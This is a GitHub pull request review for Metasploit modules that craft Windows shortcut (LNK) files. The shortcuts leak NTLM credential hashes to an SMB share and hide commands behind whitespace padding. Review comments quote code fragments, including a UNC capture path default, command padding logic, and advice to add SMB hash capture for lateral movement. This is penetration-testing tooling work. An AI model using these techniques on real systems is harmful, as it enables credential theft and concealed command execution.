Adds fileformat NTLM leak/LNK padding modules #20518

happybear-21 · 2025-09-05T05:21:51Z

Added Metasploit Auxiliary Module:
[x] Environment Variable Data Block NTLM Leak
[x] Icon Environment Data Block NTLM Leak
[x] Special Folder Data Block NTLM Leak
[x] Windows LNK Padding

Ref:
https://github.com/nafiez/DataBlockNTLMLeak/tree/main

Issue: #20223

Added Metasploit Auxiliary Module: [x] Environment Variable Data Block NTLM Leak [x] Icon Environment Data Block NTLM Leak [x] Special Folder Data Block NTLM Leak [x] Windows LNK Padding Ref: https://github.com/nafiez/DataBlockNTLMLeak/tree/main

github-actions · 2025-09-11T13:57:35Z

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

msutovsky-r7

Could you run rubocop for your module files?

msutovsky-r7 · 2025-09-11T13:59:04Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+
+    def initialize(info = {})
+      super(update_info(info,
+        'Name'           => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding',


Can you move ZDI ID to references?

Suggested change

'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding',

'Name' => 'Windows Shortcut (LNK) Padding',

msutovsky-r7 · 2025-09-11T14:03:31Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+      register_options([
+        OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]),
+        OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
+        OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]),


I think it might be better to make this option not mandatory and then add random description if the user does not provide description input. There's Faker module for that, which can add some pretty reasonable descriptions.

msutovsky-r7 · 2025-09-11T14:04:04Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+        OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]),
+        OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
+        OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]),
+        OptString.new('ICON_PATH', [ true, 'Icon path for the LNK file', 'your_icon_path\\WindowsBackup.ico' ]),


Also same thing as for DESCRIPTION.

msutovsky-r7 · 2025-09-11T14:05:34Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+      unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')
+      data << unicode_buffer
+
+      return data


Suggested change

return data

data

msutovsky-r7 · 2025-09-11T14:10:46Z

modules/auxiliary/fileformat/icon_environment_datablock_leak.rb

+
+      register_options([
+        OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']),
+        OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']),


I think you can spawn SMB server from Metasploit, then you can capture credentials from your module. You can use following imports:

include Msf::Exploit::Remote::SMB::Server::Share include Msf::Exploit::Remote::SMB::Server::HashCapture

It might be more helpful with lateral movement.

msutovsky-r7 · 2025-09-11T14:23:10Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+    end
+
+    def generate_item_id(data)
+      return [data.length + 2].pack('S') + data


Suggested change

return [data.length + 2].pack('S') + data

[data.length + 2].pack('S') + data

msutovsky-r7 · 2025-09-11T14:23:17Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+      bin_data << name_utf16
+      bin_data << "\x00\x00".force_encoding('ASCII-8BIT')  # comment
+
+      return bin_data


Suggested change

return bin_data

bin_data

msutovsky-r7 · 2025-09-11T14:23:31Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+      idlist << "\x00\x00".force_encoding('ASCII-8BIT')
+
+      # Full IDList with size
+      return [idlist.length].pack('S') + idlist


Suggested change

return [idlist.length].pack('S') + idlist

[idlist.length].pack('S') + idlist

msutovsky-r7 · 2025-09-11T14:23:51Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+      extra << [0x28].pack('L')                    # Offset (4 bytes)
+      extra << [0x00].pack('L')                    # TERMINAL_BLOCK (4 bytes)
+
+      return extra


Suggested change

return extra

extra

msutovsky-r7 · 2025-09-11T14:24:00Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+      lnk_data << generate_linktarget_idlist(path, name)
+      lnk_data << generate_extra_data
+
+      return lnk_data


Suggested change

return lnk_data

lnk_data

happybear-21 · 2025-09-12T02:52:01Z

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Writing Module Documentation

Template

Examples

Sure I will get started with the code changes and then move on to the documentation

…o generate description and icon_path, fixed: minor changes

…s optional, used: faker module to generate data

msutovsky-r7 · 2025-09-22T14:52:27Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+    icon_path = datastore['ICON_PATH']
+
+    unless description && !description.empty?
+      require 'faker'


This should be moved above class definition

Suggested change

require 'faker'

msutovsky-r7 · 2025-09-22T14:53:00Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+    end
+
+    unless icon_path && !icon_path.empty?
+      require 'faker'


This should be moved to above class definition:

Suggested change

require 'faker'

msutovsky-r7 · 2025-09-22T14:53:50Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+    data << create_string_data(icon_path)
+    data << create_environment_block
+
+    return data


Suggested change

return data

data

msutovsky-r7 · 2025-09-22T15:19:30Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+        'License' => MSF_LICENSE,
+        'Author' => [ 'Nafiez' ],
+        'References' => [
+          ['ZDI', 'ZDI-CAN-25373'],


Suggested change

['ZDI', 'ZDI-CAN-25373'],

['ZDI', 'CAN-25373'],

msutovsky-r7 · 2025-09-22T15:19:57Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+    header << [0].pack('V')
+    header << [0].pack('V')
+
+    return header


Suggested change

return header

header

msutovsky-r7 · 2025-09-22T15:20:07Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+    unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')
+    data << unicode_str
+
+    return data


Suggested change

return data

data

msutovsky-r7 · 2025-09-22T15:21:05Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+    if fill_bytes > 0
+      buffer = ' ' * fill_bytes + cmd_command
+    else
+      buffer = cmd_command
+    end


Suggested change

if fill_bytes > 0

buffer = ' ' * fill_bytes + cmd_command

else

buffer = cmd_command

end

buffer = ' ' * fill_bytes + cmd_command

msutovsky-r7 · 2025-09-22T15:22:02Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+    buffer = buffer[0, buffer_size] if buffer.length > buffer_size
+    buffer << "\x00"
+
+    return buffer


Suggested change

return buffer

buffer

msutovsky-r7 · 2025-09-22T15:26:29Z

modules/auxiliary/fileformat/datablock_padding_lnk.rb

+
+    unless icon_path && !icon_path.empty?
+      require 'faker'
+      icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s")


Here, you're combining two separators - the File.join uses / by default, so you'll get %SystemRoot%\\System32/.., which might cause a problem

Suggested change

icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s")

icon_path = File.join('%SystemRoot%\\System32', Faker::File.file_name(ext: 'icon').to_s)

msutovsky-r7 · 2025-09-22T15:33:14Z

modules/auxiliary/fileformat/icon_environment_datablock_leak.rb

+    deregister_options('SRVHOST', 'SRVPORT')
+    register_advanced_options([
+      OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on', '0.0.0.0']),
+      OptPort.new('SRVPORT', [true, 'The local port to listen on', 445])
+    ])


You don't need to do this as the options will be registered when SMB server is included - if you want to set default settings, please use DefaultOptions.

msutovsky-r7 · 2025-09-22T15:34:05Z

modules/auxiliary/fileformat/icon_environment_datablock_leak.rb

+    end
+
+    unc_path = datastore['UNC_PATH']
+    if unc_path.nil? || unc_path.empty?


Suggested change

if unc_path.nil? || unc_path.empty?

if unc_path.blank?

msutovsky-r7 · 2025-09-22T15:37:12Z

modules/auxiliary/fileformat/icon_environment_datablock_leak.rb

+    self.share_name = random_share_name
+    self.smb_srvhost = datastore['SRVHOST']
+    self.smb_srvport = datastore['SRVPORT']
+    self.capture_hashes = true


No need to set this.

Suggested change

self.share_name = random_share_name

self.smb_srvhost = datastore['SRVHOST']

self.smb_srvport = datastore['SRVPORT']

self.capture_hashes = true

msutovsky-r7 · 2025-09-22T15:37:24Z

modules/auxiliary/fileformat/icon_environment_datablock_leak.rb

+  def random_share_name
+    "share#{Rex::Text.rand_text_alphanumeric(6)}"
+  end


Suggested change

def random_share_name

"share#{Rex::Text.rand_text_alphanumeric(6)}"

end

modules/auxiliary/fileformat/environment_variable_datablock_leak.rb

msutovsky-r7 · 2025-09-23T12:56:56Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+          'Stability' => [],
+          'Reliability' => [],
+          'SideEffects' => []


The notes are missing

msutovsky-r7 · 2025-09-23T12:57:28Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+    deregister_options('SRVHOST', 'SRVPORT')
+    register_advanced_options([
+      OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on', '0.0.0.0' ]),
+      OptPort.new('SRVPORT', [ true, 'The local port to listen on', 445 ])
+    ])


You don't have to define this, it should be defined already by SMBserver

msutovsky-r7 · 2025-09-23T12:57:59Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+  def run
+    app_name = datastore['APPNAME']
+    while app_name && !app_name.empty?
+      require 'faker'


Please move this to above class definition

msutovsky-r7 · 2025-09-23T12:58:16Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+      self.share_name = random_share_name
+      self.smb_srvhost = datastore['SRVHOST']
+      self.smb_srvport = datastore['SRVPORT']
+      self.capture_hashes = true


You shouldn't need to use this here

msutovsky-r7 · 2025-09-23T12:58:51Z

modules/auxiliary/fileformat/specialfolder_leak.rb

+  def random_share_name
+    "share#{Rex::Text.rand_text_alphanumeric(6)}"
+  end


It doesn't make sense to define this function, you can inline this.

….rb)

…, environment_variable_datablock_leak.rb, icon_environment_datablock_leak.rb)

msutovsky-r7 · 2025-09-29T13:39:55Z

Release Notes

This adds multiple auxiliary modules for NTLM leak.

Issue: rapid7#20223

600ad57

Added Metasploit Auxiliary Module: [x] Environment Variable Data Block NTLM Leak [x] Icon Environment Data Block NTLM Leak [x] Special Folder Data Block NTLM Leak [x] Windows LNK Padding Ref: https://github.com/nafiez/DataBlockNTLMLeak/tree/main

dwelch-r7 added msftidy and removed msftidy labels Sep 5, 2025

msutovsky-r7 added module needs-docs labels Sep 11, 2025

msutovsky-r7 reviewed Sep 11, 2025

View reviewed changes

msutovsky-r7 changed the title ~~Issue: #20223~~ Adds fileformat NTLM leak/LNK padding modules Sep 12, 2025

happybear-21 added 7 commits September 14, 2025 15:19

updated: description and icon_path as optional, added: faker module t…

3aa18b1

…o generate description and icon_path, fixed: minor changes

added: smb for lateral movement, updated: description and icon_path a…

5a82ea5

…s optional, used: faker module to generate data

added: smb share server, completed: requested change

65549ba

fixed: rubocop offenses

97495cd

fixed: rubocop offenses (file: icon_environment_datablock_leak.rb)

2ea4f7c

fixed: rubocop offenses (file: specialfolder_leak.rb)

aa264f5

added: documentation

f844377

msutovsky-r7 reviewed Sep 22, 2025

View reviewed changes

msutovsky-r7 added docs and removed needs-docs labels Sep 23, 2025

msutovsky-r7 reviewed Sep 23, 2025

View reviewed changes

happybear-21 added 2 commits September 24, 2025 21:56

fixed: issues, updated requested changes (file: datablock_padding_lnk…

ae3b548

….rb)

ixed: issues, updated requested changes (files: specialfolder_leak.rb…

8cfc2ae

…, environment_variable_datablock_leak.rb, icon_environment_datablock_leak.rb)

msutovsky-r7 self-assigned this Sep 26, 2025

msutovsky-r7 added 7 commits September 29, 2025 09:41

Rubocopes

7b4bb55

Fixes regex

d21f791

Fixes ZDI reference, code cleanup

82e2f03

Code cleanup, adds Faker, fixing SMB server

042cdb7

Fixes notes

eaada61

Rubocopes, fixes SMB server

5faf187

Rubocopes, fixes SMB server, code cleanup

38efab0

Includes share datastore option in UNC path

310b8b7

msutovsky-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 29, 2025

Cleares up docs

c044db6

msutovsky-r7 approved these changes Sep 29, 2025

View reviewed changes

msutovsky-r7 merged commit 8112791 into rapid7:master Sep 29, 2025
28 of 32 checks passed

	'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding',
	'Name' => 'Windows Shortcut (LNK) Padding',

	return [data.length + 2].pack('S') + data
	[data.length + 2].pack('S') + data

	return [idlist.length].pack('S') + idlist
	[idlist.length].pack('S') + idlist

	icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s")
	icon_path = File.join('%SystemRoot%\\System32', Faker::File.file_name(ext: 'icon').to_s)

	def random_share_name
	"share#{Rex::Text.rand_text_alphanumeric(6)}"
	end

Adds fileformat NTLM leak/LNK padding modules #20518

Adds fileformat NTLM leak/LNK padding modules #20518

Uh oh!

Conversation

happybear-21 commented Sep 5, 2025

Uh oh!

github-actions bot commented Sep 11, 2025

Uh oh!

msutovsky-r7 left a comment

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

happybear-21 commented Sep 12, 2025

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Choose a reason for hiding this comment

Uh oh!

Uh oh!

msutovsky-r7 commented Sep 29, 2025

Release Notes

Uh oh!

Uh oh!